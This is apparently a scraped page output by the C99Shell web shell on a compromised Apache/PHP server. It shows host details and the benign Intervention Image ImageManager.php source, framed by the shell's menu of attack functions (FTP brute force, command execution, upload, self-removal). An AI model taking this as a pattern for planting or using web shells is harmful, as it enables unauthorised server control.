!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/intervention/image/src/Intervention/Image/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImageManager.php (3.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Intervention\Image;

use 
Closure;
use 
Intervention\Image\Exception\MissingDependencyException;
use 
Intervention\Image\Exception\NotSupportedException;

class 
ImageManager
{
    
/**
     * Config
     *
     * @var array
     */
    
public $config = [
        
'driver' => 'gd'
    
];

    
/**
     * Creates new instance of Image Manager
     *
     * @param array $config
     */
    
public function __construct(array $config = [])
    {
        
$this->checkRequirements();
        
$this->configure($config);
    }

    
/**
     * Overrides configuration settings
     *
     * @param array $config
     *
     * @return self
     */
    
public function configure(array $config = [])
    {
        
$this->config array_replace($this->config$config);

        return 
$this;
    }

    
/**
     * Initiates an Image instance from different input types
     *
     * @param  mixed $data
     *
     * @return \Intervention\Image\Image
     */
    
public function make($data)
    {
        return 
$this->createDriver()->init($data);
    }

    
/**
     * Creates an empty image canvas
     *
     * @param  int   $width
     * @param  int   $height
     * @param  mixed $background
     *
     * @return \Intervention\Image\Image
     */
    
public function canvas($width$height$background null)
    {
        return 
$this->createDriver()->newImage($width$height$background);
    }

    
/**
     * Create new cached image and run callback
     * (requires additional package intervention/imagecache)
     *
     * @param Closure $callback
     * @param int     $lifetime
     * @param boolean $returnObj
     *
     * @return Image
     */
    
public function cache(Closure $callback$lifetime null$returnObj false)
    {
        if (
class_exists('Intervention\\Image\\ImageCache')) {
            
// create imagecache
            
$imagecache = new ImageCache($this);

            
// run callback
            
if (is_callable($callback)) {
                
$callback($imagecache);
            }

            return 
$imagecache->get($lifetime$returnObj);
        }

        throw new 
MissingDependencyException(
            
"Please install package intervention/imagecache before running this function."
        
);
    }

    
/**
     * Creates a driver instance according to config settings
     *
     * @return \Intervention\Image\AbstractDriver
     */
    
private function createDriver()
    {
        if (
is_string($this->config['driver'])) {
            
$drivername ucfirst($this->config['driver']);
            
$driverclass sprintf('Intervention\\Image\\%s\\Driver'$drivername);

            if (
class_exists($driverclass)) {
                return new 
$driverclass;
            }

            throw new 
NotSupportedException(
                
"Driver ({$drivername}) could not be instantiated."
            
);
        }

        if (
$this->config['driver'] instanceof AbstractDriver) {
            return 
$this->config['driver'];
        }

        throw new 
NotSupportedException(
            
"Unknown driver type."
        
);
    }

    
/**
     * Check if all requirements are available
     *
     * @return void
     */
    
private function checkRequirements()
    {
        if ( ! 
function_exists('finfo_buffer')) {
            throw new 
MissingDependencyException(
                
"PHP Fileinfo extension must be installed/enabled to use Intervention Image."
            
);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0101 ]--